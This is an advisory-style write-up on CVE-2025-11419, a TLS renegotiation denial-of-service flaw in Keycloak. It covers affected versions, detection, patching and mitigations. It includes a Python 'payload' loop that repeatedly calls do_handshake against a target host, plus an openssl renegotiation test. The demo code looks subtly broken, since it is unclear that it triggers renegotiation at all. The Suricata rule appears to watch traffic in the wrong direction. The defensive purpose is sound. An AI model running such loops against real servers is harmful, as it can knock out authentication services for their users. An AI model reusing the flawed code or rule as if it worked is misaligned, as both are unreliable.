Vulnerability Header

Attribute	Details
CVE ID	CVE-2025-11419
CVSS Score	7.5 (High)
Severity	High / Important
Published	December 24, 2025
Vulnerability Type	Denial of Service (DoS)
Attack Vector	Network
Attack Complexity	Low
Privileges Required	None
User Interaction	None
Impact	Service Availability

---

Vulnerability Overview

CVE-2025-11419 is a denial-of-service vulnerability affecting the Red Hat build of Keycloak. The issue allows a remote, unauthenticated attacker to exhaust server CPU resources by repeatedly triggering TLS client-initiated renegotiation.

Keycloak permits TLS 1.2 renegotiation requests on an established connection without sufficient restriction. Each renegotiation forces the server to perform computationally expensive cryptographic operations, including key exchange, cipher negotiation, and verification. By repeatedly requesting renegotiation on a single connection, an attacker can consume disproportionate CPU resources with minimal effort.

The attacker does not need credentials, valid authentication attempts, or even application-layer requests. Network access to the TLS port is sufficient. Over time, CPU utilization reaches saturation, legitimate authentication traffic times out, and the Keycloak service becomes unavailable.

---

Affected Versions

The following Red Hat build of Keycloak versions are vulnerable:

• Red Hat Keycloak 26.0 through 26.0.15
• Red Hat Keycloak 26.1.x
• Red Hat Keycloak 26.2.0 through 26.2.9
• Red Hat Keycloak 26.3.x
• Red Hat Keycloak 26.4.0

Patched Versions

• Red Hat Keycloak 26.0.16 and later
• Red Hat Keycloak 26.2.10 and later
• Red Hat Keycloak 26.4.1 and later

---

Technical Details: How the Vulnerability Works

Attack Mechanism

1. The attacker establishes a normal TLS connection to the Keycloak server.
2. The initial TLS handshake completes successfully.
3. The attacker sends a TLS renegotiation request on the same connection.
4. Keycloak performs a full TLS handshake again.
5. The attacker repeats this process continuously.

Each renegotiation forces expensive cryptographic operations on the server. The attacker only sends small protocol messages, creating a large asymmetry between attacker effort and server workload.

Why This Works

• Asymmetric computation: Server-side TLS operations are significantly more expensive than client requests.
• Single-connection abuse: The attack does not require multiple connections, bypassing common rate-limiting defenses.
• No authentication: No credentials or valid sessions are required.
• Minimal bandwidth: Very low traffic volume is sufficient to exhaust CPU.

---

Exploitation Scenario

An organization operates Keycloak as its central SSO platform. An attacker identifies the authentication endpoint and opens TLS connections to the HTTPS port.

Instead of sending login requests, the attacker repeatedly triggers TLS renegotiation. The Keycloak server continuously performs cryptographic work, rapidly consuming CPU resources. Authentication requests begin to time out, users are unable to log in, and all dependent applications experience outages.

The attack is low-noise, low-bandwidth, and difficult to detect using traditional volumetric DoS controls.

---

Detection Methods

1. Network-Level Detection

Testing with OpenSSL

openssl s_client -connect keycloak-server[.]example[.]com:443 -tls1_2
# After the connection establishes, type: R
# If renegotiation succeeds, the server is vulnerable
# If the server disconnects or errors, mitigation or patch is applied

Behavior Indicators

• Multiple renegotiations accepted on a single connection
• No rejection or throttling of renegotiation attempts
• Repeated TLS handshakes without connection resets

---

2. System-Level Detection Signals

CPU Metrics

• Sustained 90–100% CPU usage on Keycloak processes
• CPU spikes without corresponding increases in authentication traffic
• Java processes consuming abnormal CPU

Network Metrics

• High packet rate on ports 443/8443
• Established connections generating large numbers of TLS records
• Repeated handshake messages on a single TCP connection

Application Metrics

• Increased TLS handshake processing time
• Authentication request timeouts
• Login error rates spike while other services remain healthy

---

3. Traffic Pattern Analysis

In Wireshark or similar tools:

• Multiple ClientHello messages from the same source on one connection
• Rapid renegotiation attempts
• TLS renegotiation extensions repeatedly present

---

4. Log Analysis

Keycloak Logs

# High volume of TLS warnings
# Repeated SSL handshake messages
# Renegotiation-related errors from same source IP

Java / System Logs

# SSL_ERROR_* messages
# javax.net.ssl renegotiation exceptions
# Stack traces showing SSL in network I/O threads

---

Payload / Attack Demonstration

import ssl
import socket

target_host = "keycloak[.]example[.]com"
target_port = 443

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
context = ssl.create_default_context()
ssock = context.wrap_socket(sock, server_hostname=target_host)
ssock.connect((target_host, target_port))

for i in range(10000):
    ssock.do_handshake()
    print(f"Renegotiation {i} sent")

ssock.close()

Attack Characteristics

• Operates entirely at the TLS layer
• No application-layer traffic required
• Extremely low bandwidth
• High CPU impact

---

Detection Rules and Signatures

IDS / IPS (Suricata / Snort)

alert tls $HOME_NET any -> $EXTERNAL_NET [443,8443] (
  msg:"Potential TLS Renegotiation DoS Attack";
  flow:to_server,established;
  tls.client_hello;
  threshold:type by_src, track by_src, count 50, seconds 10;
  sid:1000001;
  rev:1;
)

---

Log Sources for Monitoring

1. Keycloak Logs
   • keycloak.log
   • server.log
2. Operating System Logs
   • /var/log/auth.log
   • syslog / journalctl
3. Network Device Logs
   • Firewall logs
   • Load balancer logs
4. Java Runtime Logs
   • SSL/TLS debug output
   • GC logs
5. Container / Orchestration Logs
   • Docker logs
   • Kubernetes pod metrics

---

Official Patch Information

Official Red Hat Resources

• Security Advisory (RHSA):
  https://access.redhat.com/errata/RHSA-2025:18255
• Red Hat CVE Page:
  https://access.redhat.com/security/cve/cve-2025-11419
• Patch Downloads (Subscription Required):
  https://access.redhat.com/downloads/
• Container Registry:
  https://registry.redhat.io

Patch Versions

• 26.0.16+
• 26.2.10+
• 26.4.1+

Patch Release Date: October 16, 2025
Public Disclosure: December 24, 2025

---

Patching Steps

Standalone Deployment

systemctl stop keycloak
cp -r /opt/keycloak /opt/keycloak.backup
tar -xzf keycloak-26.0.16.tar.gz
systemctl start keycloak

Verify:

/opt/keycloak/bin/kc.sh -version

---

Containerized Deployment

image: registry.redhat.io/rhbk/keycloak-rhel9:26.0.16

docker-compose up -d
kubectl rollout status deployment/keycloak

---

Mitigation and Workarounds

JVM-Level Mitigation

-Djdk.tls.rejectClientInitiatedRenegotiation=true

Network-Level Controls

Nginx

limit_conn_zone $binary_remote_addr zone=tls_limit:10m;
limit_conn tls_limit 10;

iptables

iptables -A INPUT -p tcp --dport 443 -m limit --limit 50/second -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP

---

CVSS and Risk Assessment

Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Risk Level: HIGH / IMPORTANT

---

Final Takeaway

CVE-2025-11419 is dangerous because it is simple, quiet, and effective. A single unauthenticated client can exhaust Keycloak’s CPU by abusing TLS renegotiation, taking down authentication services and everything that depends on them.

The mitigation is straightforward: patch immediately or disable client-initiated TLS renegotiation at the JVM level. Any organization running Keycloak—especially internet-facing deployments—should treat this as an urgent availability risk.

If you have not patched or applied mitigations, you are exposed.

---